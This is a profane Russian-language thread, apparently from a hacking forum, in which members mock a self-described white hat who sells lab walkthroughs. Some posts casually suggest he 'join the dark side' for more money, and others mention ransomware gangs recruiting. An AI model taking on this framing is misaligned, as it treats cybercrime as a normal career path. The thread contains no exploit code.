Что я вижу: ты на форуме ведешь бложек по прохождению бесплатного курса от PortSwigger Academy и аналогов, где на каждую лабу расписаны солюшены прямо в ней и на их форуме блть :D Плюс весь инет и тг этими прохождениями забиты. Т.е. ты не выдаешь какую то приватную инфу, не проводишь исследований по известным продуктам, не пишешь врайтапы по рил таргетам или хотя бы закрытым\приватным CTF, либо платным курсам с (полу)приват инфой, не владеешь информацией по (нестандартному) поведению таргетов в боевых, etc. Чисто школолабы с открытыми прохождениями, условия и сетапы на которых уже вымерли в живой природе на реальных целях. Это даже не общие основы, т.к. в них хотя бы понимание нужно. Это просто повторенная последовательность действий. Уникальность этой скомпилированной информации = 0! Ты выдираешь куски статей из портсвиггера и открытых источников, компонуя в одну, даже блть часто не в рамках освещаемой темы а "прицепом". Т.е. ты просто перепубликуешь паблик под видом хз чего, ну реально блога твоих похождений по фри площадкам с претензией на авторство и исключительность. Это было бы актуально на реальных целях, на открытых лабах полезность инфы нулевая.

Давай следующим шагом весь HTB сюда перенесем? При этом в половине случаев ты сам не одупляешь, как это работает, просто как обезьянка поторяешь шаги и постишь здесь, на каждом шагу выпячивая "Я БЕЛЫЙ", "ЭТО БЕЛЫЙ ВОПРОС И Я МОГУ ОТВЕТИТЬ", "Я ВАЙТ"! Вайт, собирающий донаты от блэчеров? Ты по защите ни слова не написал, только чисто по роадмапу атак от портсвиггера, etc.
Сxyяли ты белая шляпа? В твоей конкретной ситуации лучше хер помыть и не распространяться об этом.

Я не нападаю на твою т.н. "информацию", это в каком то плане может быть даже полезно новичкам. Но если я схаваю N таблов дезоксина и на приходе разгонюсь с ноля до дух сотен за секунды - я стану ламборджини? Нет, я останусь просто упоротым. Аналогия понятна? Попусти свои выпячивания незаслуженными регалиями, аж глаза режет.
 
Уникальность этой скомпилированной информации = 0!
Эта шляпа еще и деньги за эти "охуительные статьи" просит у админа, и кошельки в подписи указал каким шрифтом, пиздец. Ты это видел кстати /threads/99145/? Я вчера проорал в голосину.
 
Эта шляпа еще и деньги за эти "охуительные статьи" просит у админа, и кошельки в подписи указал каким шрифтом, пиздец.
Ааа, так вот в чем причина. Я думал он идейный энтузиаст. А слушай, логично... Ведь можно снимать шляпу (Ф.Бондарчук ©) когда тебе это удобно. Например, когда клянчишь донаты у блэчеров или когда отвечаешь на претензии по публикуемой инфе. Вайт, самолично не проводящий исследования, не атакующий реальные цели (пусть это даже багхантинг, в рамках багбаунти для вендора за reward'ы) - a priori не может владеть актуальной и эксклюзивной инфой, не публиковавшейся в уникальном контексте до него (ибо эти знания будут уже a posteriori)
Ты это видел кстати /threads/99145/? Я вчера проорал в голосину.
:D :D :D Скилловой парень. Как он на "серт" экзамены сдавал, я хз. Там разве ничего даже про банальную обфускацию пэйлоадов не было? Можно было хотя бы на основе общих понятийных принципов выстроить логическую цепь, как это может использоваться и для чего.
 
Всем кто это читает, Привет. Отпишу по пунктам, чтобы всем было понятно.

Сперва благодарю что чекнул мои статьи, это реально радует!
Для всех:
ты на форуме ведешь бложек по прохождению бесплатного курса от PortSwigger Academy и аналогов, где на каждую лабу расписаны солюшены прямо в ней и на их форуме блть :D Плюс весь инет и тг этими прохождениями забиты. Т.е. ты не выдаешь какую то приватную инфу, не проводишь исследований по известным продуктам, не пишешь врайтапы по рил таргетам или хотя бы закрытым\приватным CTF, либо платным курсам с (полу)приват инфой, не владеешь информацией по (нестандартному) поведению таргетов в боевых, etc
Данный пользователь, явно ясно не читает мои статьи, либо читает очен даже не внимательно. Мои статьи также включают платную практику с attackdefense (от pentesteracademy / ine) цена была 250$/год вроде сейчас только вместе с ine продают за 700$+. Так что перед тем как татить время на вопросы человека который, по его словам, "пробежаться" (читать) не умеет, думайте трижды. Кстати очень смешно что даже пост под которым он написал этот коммент, имеет ссылку от attackdefense. :laughs:

https://xss.pro/threads/96048/
https://xss.pro/threads/96450/
https://xss.pro/threads/96864/
https://xss.pro/threads/98617/
https://xss.pro/threads/99083/#post-687754

Ответы и вопросы:
1.
а чем твое вайтхэтовство обусловлено, помимо моральных принципов и жизненных ориентиров? Альтер-эго Саши белого из нулевых? Подкреплено это чем, в конце концов? Может ты получил OSCP\CEH\GPEN\HFI, а не просто корочку о двухнедельных курсах "бровки\ноготочки" (eWPT,CSA) и даже этот серт мог вполне завалить и не пройти :D. Белые личность не скрывают, где пруфы, билли?
Явная, ясная попытка деанона. Но раз тебе интересно, то я в уровне junior-middle - Ну прости что я не могу ничем делиться, ведь имя фамилия и тп там есть. Я уверен что любой кто захочет может меня через гугл найти, если в "rabbit hole" не попадёт

2.
у тебя есть известные исследования и публикации?
У меня их нет. Тут ты прав!

3.
Это просто повторенная последовательность действий.
Повторная последовательность действий, это не мои статьи, это повышение привилегий в твоих же CTF. Прочти несколько writeup-ов. Половина повышения привилегий - sudo -l.

4.
Ты выдираешь куски статей из портсвиггера и открытых источников, компонуя в одну, даже блть часто не в рамках освещаемой темы а "прицепом". Т.е. ты просто перепубликуешь паблик под видом хз чего, ну реально блога твоих похождений по фри площадкам с претензией на авторство и исключительность. Это было бы актуально на реальных целях, на открытых лабах полезность инфы нулевая.
Код:
# Вы читали эти отчёты?
~ Я публичную, незасекреченную версию читала.
# А я читал эти отчёты.
Ну ты даже не читал то что я пишу, раз ты под комментом где есть приватный лаб, пишешь это. И ты утверждаешь что "Это было бы актуально на реальных целях, на открытых лабах полезность инфы нулевая." - мой ответ - "где пруфы, билли?"

5.
Давай следующим шагом весь HTB сюда перенесем?
Ну родной, я не админ, но в форуме есть тема " Предложения по улучшению форума". Можешь туда отписать, вот ссылка если и это не сможешь прочитать - https://xss.pro/threads/26727/

6.
Вайт, собирающий донаты от блэчеров?
Совсем тактичности у тебя нет?) У меня там 0$, поставил бы туда 1$ и потом написал бы это, получился бы хотя бы один нормальный аргумент. А если серьезно, по твоей логике, все кто работают в маркетах должны быть виновны, ведь возможно они продали продукты "блэчерам".

А так, я всегда стараюсь распростронять свою идеологию. Патриотизм и чистая работа!

7.
Сxyяли ты белая шляпа? В твоей конкретной ситуации лучше хер помыть и не распространяться об этом.
"2. Не отвечайте на оскорбления в Вашу сторону. Если Вам начали хамить/угрожать/ругаться, достаточно написать администрации и провинившийся будет наказан."
admin это тебе - наказание прошу не ставить, думаю достаточно опозорился публике. Не каждый день увидишь как не грамотный иностранец, разбирает на части текст пользователя форума, как вирустотал разбирающий на части вредоносный файл.
файл загрузить на вирус тотал то он попадет в антивирусную базу и будет над этим файлами пытка его будут ******** мучать и в итоге разорвут на все части и достанут из него все кишки потом в дальнейшем файл будет детектиться антивирусами по сигнатурами и прочим меткам на файле

8.
Но если я схаваю N таблов дезоксина и на приходе разгонюсь с ноля до дух сотен за секунды - я стану ламборджини? Нет, я останусь просто упоротым. Аналогия понятна? Попусти свои выпячивания незаслуженными регалиями, аж глаза режет.
Эта шляпа еще и деньги за эти "охуительные статьи" просит у админа
+- смотю на тебя на форуме c0d3x, в твою сторону ничего не писал. Но ты же ГРАМОТНЫЙ хотя бы, если думайете что вы правы, докажите грамотным способом, ради Бога!

Я на форуме пишу статьи и беру около 1000$ за месяц, в зависимости от работы. Если у меня были бы 1000$/мес, я бы и не писал статьи. Я на данный момент живу на этом.

9.
и кошельки в подписи указал каким шрифтом, пиздец
Да ,на форуме "medium" уязвимость где можно манипулировать цитированием сообщений. Круто выглядит если честно. Что касается доната, "перед отправкой напишите мне в личку и дайте мне знать, какие темы вы хотите и что я могу улучшить" - ты тоже что ли читать не можешь.... Мне клянусь больше обидно на то что грамотный вроде бы пользователь, даёт такиииие аргументы.... Упал в моих глазах...

10.
Ты это видел кстати /threads/99145/? Я вчера проорал в голосину.
Зачем орал то? У тебя что ли speech-to-text стоит? Твои голосовые как коммент пишет? Не безопасно ведь! Ответил бы на вопрос, написал бы я статью плохую на эту тему (ведь не разбираюсь) и после этого дал бы прям хороший аргумент. Эхх.. Как не тактично с твоей стороны
 
Дальнейшего ответа от меня не ждите, мне жалко вас. Да и публично критиковать пользователя ВАШЕГО же форума. Мерзко!
 
+- смотю на тебя на форуме c0d3x, в твою сторону ничего не писал. Но ты же ГРАМОТНЫЙ хотя бы, если думайете что вы правы, докажите грамотным способом, ради Бога!
Я на форуме пишу статьи и беру около 1000$ за месяц, в зависимости от работы. Если у меня были бы 1000$/мес, я бы и не писал статьи. Я на данный момент живу на этом.
Лучше бы ты их переводил, например с hacktricks, или аналогичных ресурсов. Было бы гораздо информативнее и полезнее, относительно того что ты пишешь.

Зачем орал то?
Потому что я не понимаю как ВАЙТ пишущий статьи за деньги может не знать что такое крипт.

Там разве ничего даже про банальную обфускацию пэйлоадов не было? Можно было хотя бы на основе общих понятийных принципов выстроить логическую цепь, как это может использоваться и для чего.
Вот-вот.
 
Данный пользователь, явно ясно не читает мои статьи, либо читает очен даже не внимательно. Мои статьи также включают платную практику с attackdefense (от pentesteracademy / ine) цена была 250$/год вроде сейчас только вместе с ine продают за 700$+. Так что перед тем как татить время на вопросы человека который, по его словам, "пробежаться" (читать) не умеет, думайте трижды. Кстати очень смешно что даже пост под которым он написал этот коммент, имеет ссылку от attackdefense. :laughs:

https://xss.pro/threads/96048/
https://xss.pro/threads/96450/
https://xss.pro/threads/96864/
https://xss.pro/threads/98617/
https://xss.pro/threads/99083/#post-687754
Ткни в уникальность платной инфы из какой либо приват лабы, описанную тобой, но не освещенную в паблике или хотя бы у нас на форуме (раз я такой невнимательный, не проплыл океан воды). То, что ты платишь деньги за публично разобранную xyету - совершенно не опровергает моих слов. Если я куплю эксп, который давно в паблике, лох буду я а не "селлер".
Явная, ясная попытка деанона. Но раз тебе интересно, то я в уровне junior-middle - Ну прости что я не могу ничем делиться, ведь имя фамилия и тп там есть. Я уверен что любой кто захочет может меня через гугл найти, если в "rabbit hole" не попадёт
Чего бояться вайту? o_0 Или ты все таки наруаешь закон? Какой ты к черту вайт тогда? Убери донаты из подписи, прекрати брать "грязные" деньги от админа, публикуйся на энтузиазме и не скрывай свои данные. Или снеси свою чсвшную ничем не подкрепленную подпись и не апеллируй к тому, что ты "вайт". Или трусы, или крестик.
Повторная последовательность действий, это не мои статьи, это повышение привилегий в твоих же CTF. Прочти несколько writeup-ов. Половина повышения привилегий - sudo -l.
Не ссылайся на чужие врайтапы. Перевод стрелок. Мы не предьявляем за слова тому, кто их не публиковал. Ты опубликовал - предьявы к тебе. Последовательность действий из паблика + общая теория без какого либо анализа, больше в инфе ничего от тебя лично нет. Даже "обзоры" используемых инструментов, это цирк какой то. Как заинсталлить есть в каждом мане на гитхабе, с полным набором команд.
ты под комментом где есть приватный лаб, пишешь это. И ты утверждаешь что "Это было бы актуально на реальных целях, на открытых лабах полезность инфы нулевая." - мой ответ - "где пруфы, билли?"
Я повторю еще раз, даже если лаба закрытая, но там нет разбора какой то оригинальной техники, не освещенной в уникальном контексте ранее - это ты просто заплатил за воздух. Не более того. Только на рил таргетах или спец. конфигах и сетапах лаб под какой нибудь 1дэй (допустим) уязвимость - будет уникальный опыт и нестандартные примеры эксплуатации. Тут этого нет, тут все стандартно, никаких байпассов, т.к. нечего байпассить.
Ну родной, я не админ, но в форуме есть тема " Предложения по улучшению форума". Можешь туда отписать, вот ссылка если и это не сможешь прочитать - https://xss.pro/threads/26727/
Фэйспалм.
Совсем тактичности у тебя нет?) У меня там 0$, поставил бы туда 1$ и потом написал бы это, получился бы хотя бы один нормальный аргумент. А если серьезно, по твоей логике, все кто работают в маркетах должны быть виновны, ведь возможно они продали продукты "блэчерам".
Вообще мимо кассы. Тебе говорят за сам факт, что ты донаты клянчишь. А не за "суммы". Ты путаешь причины и следствие. Ментам будешь приводить свои аргументы, уровня детского сада.
"2. Не отвечайте на оскорбления в Вашу сторону. Если Вам начали хамить/угрожать/ругаться, достаточно написать администрации и провинившийся будет наказан."
admin это тебе - наказание прошу не ставить, думаю достаточно опозорился публике.
Там нет оскорбления, есть рекомендация в полушутливой манере. Условия свои ставь в другом месте.
Я на форуме пишу статьи и беру около 1000$ за месяц, в зависимости от работы. Если у меня были бы 1000$/мес, я бы и не писал статьи. Я на данный момент живу на этом.
Трусы и крестик. Ты не вайт, ты переобувашка. И идеологии у тебя нет.

Я еще раз повторяю, тому, кто даже в опрадания не сумел. Предьява не к твоему "контенту" а к твоей позиции + подписи + собиранию денег.
 
Лучше бы ты , например с hacktricks, или аналогичных ресурсов. Было бы гораздо информативнее и полезнее, относительно того что ты пишешь.
Hacktricks сборник ресурсов, в основном от pentesteracademy...... - https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities. Который платный. Зачем ты так сильно хочешь давать аргументы против меня? Снова ты дал неправильный аргумент, а может хватит? Отписал же, мерзко...
Потому что я не понимаю как ВАЙТ пишущий статьи за деньги может не знать что такое крипт.
Каждый специализурется в чем то, я нигде не писал что знаю всё. Я не знаю многое, иногда даже такие простые вещи, что мой вопрос про крипт звучит не удивительным. Мог бы просто ответить, всё ещё не поздно, никто пока ресурс не писал в комментах.
Вот-вот.
Проходил экз я, не было.

c0d3x -у ответил, у него разумные сообщения.

Desoxyn - Я рил не знаю что тебе ответить братан, мне всё ещё ужасно смешно от того что ты это пишешь под постом где лабы платные. Скажем хер со мной, я новичок, ты не первый кто меня недолюбливает. Не жалко своей репутации?
 
Hacktricks сборник ресурсов, в основном от pentesteracademy...... - https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities. Который платный. Зачем ты так сильно хочешь давать аргументы против меня? Снова ты дал неправильный аргумент, а может хватит?
Что информативнее и полезнее будет для читателя? Вот это https://xss.pro/threads/96611/ или https://book.hacktricks.xyz/pentesting-web/file-upload в хорошем переводе на русский, с дополнениями в виде скринов или своего текста?
 
Что информативнее и полезнее будет для читателя? Вот это https://xss.pro/threads/96611/ или https://book.hacktricks.xyz/pentesting-web/file-upload в хорошем переводе на русский, с дополнениями в виде скринов или своего текста?
Ни то ни друге, будет полезно вот это - https://xss.pro/threads/96450/ - мы же сравниваем PrivEsc, а не RCE. Если не читал, просмотри, думаю понравится.
 
Desoxyn - Я рил не знаю что тебе ответить братан, мне всё ещё ужасно смешно от того что ты это пишешь под постом где лабы платные.
Разбор ПЛАТНЫХ лабораторий из твоей статьи - представлен исключительно в виде скриншотов. Смотрим этот пост (Лабы номер 2 и 3). Ни описаний шагов, ни анализа, ничего. Тупая последовательность действий, которая ВСЯ запечатлена на видео к этим лабам, которую ты повторил ровно в том же порядке. Видео в открытом доступе, убедитесь сами:


Мало того, что заезженные темы, (XSS + Command Inj), так полный разбор на видео уже сделали до тебя (выше по ссылкам).
Отсюда следует вопрос, в чем уникальность этих ПЛАТНЫХ лаб и в чем эксклюзивность предоставленной тобой информации? Ты просто наделал скринов, как в видео. Даже не разобрал для ньюбов (а твой контент исключительно для них). Больше твоего участия в этом нет. А может и наделал из самого видео, заменив даты в граф редакторе, тут я хз. )))
Более менее внятные разборы с одного только бесплатного портсвиггера, и то без анализа. + немного описания, зачем тогда ссылаться на платные?

Не жалко своей репутации?
Не в твоих силах мне ее подпортить :D
 
Последнее редактирование:
Я на форуме пишу статьи и беру около 1000$ за месяц, в зависимости от работы.
А что у белых все так плохо с работой? 😁😁😁
Или ты просто копирайтер?((((

Если у меня были бы 1000$/мес, я бы и не писал статьи. Я на данный момент живу на этом.
Переходи на темную сторону, будет больше 1000/месяц
 
А что у белых все так плохо с работой? 😁😁😁
Или ты просто копирайтер?((((
1000$/мес это зарплата junior/middle, и при этом ты должен работать full time. А так я безработный.
Переходи на темную сторону, будет больше 1000/месяц
https://xss.pro/threads/96611/post-680561
 
Разбор ПЛАТНЫХ лабораторий из твоей статьи - представлен исключительно в виде скриншотов. Смотрим этот пост (Лабы номер 2 и 3). Ни описаний шагов, ни анализа, ничего. Тупая последовательность действий, которая ВСЯ запечатлена на видео к этим лабам, которую ты повторил ровно в том же порядке. Видео в открытом доступе, убедитесь сами:


Мало того, что заезженные темы, (XSS + Command Inj), так полный разбор на видео уже сделали до тебя (выше по ссылкам).
Отсюда следует вопрос, в чем уникальность этих ПЛАТНЫХ лаб и в чем эксклюзивность предоставленной тобой информации? Ты просто наделал скринов, как в видео. Даже не разобрал для ньюбов (а твой контент исключительно для них). Больше твоего участия в этом нет. А может и наделал из самого видео, заменив даты в граф редакторе, тут я хз. )))
Более менее внятные разборы с одного только бесплатного портсвиггера, и то без анализа. + немного описания, зачем тогда ссылаться на платные?


Не в твоих силах мне ее подпортить :D
Годы идут, а десоксин все продолжает кошмарить вайтов на форуме))

Не знаю чего ты прицепился, в разлеле "Статьи" есть материалы и похуже, дуракам понятно что денег это не стоит, но кому-то может будет полезно почитать. А на счет того что человек явно указывает что он белый - не вижу в этом никаких проблем, как минимум это отпугивает всякие рансомгэнги писать тебе в лс с предложениями о работе, иногда бывает слишком соблазнительно))
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх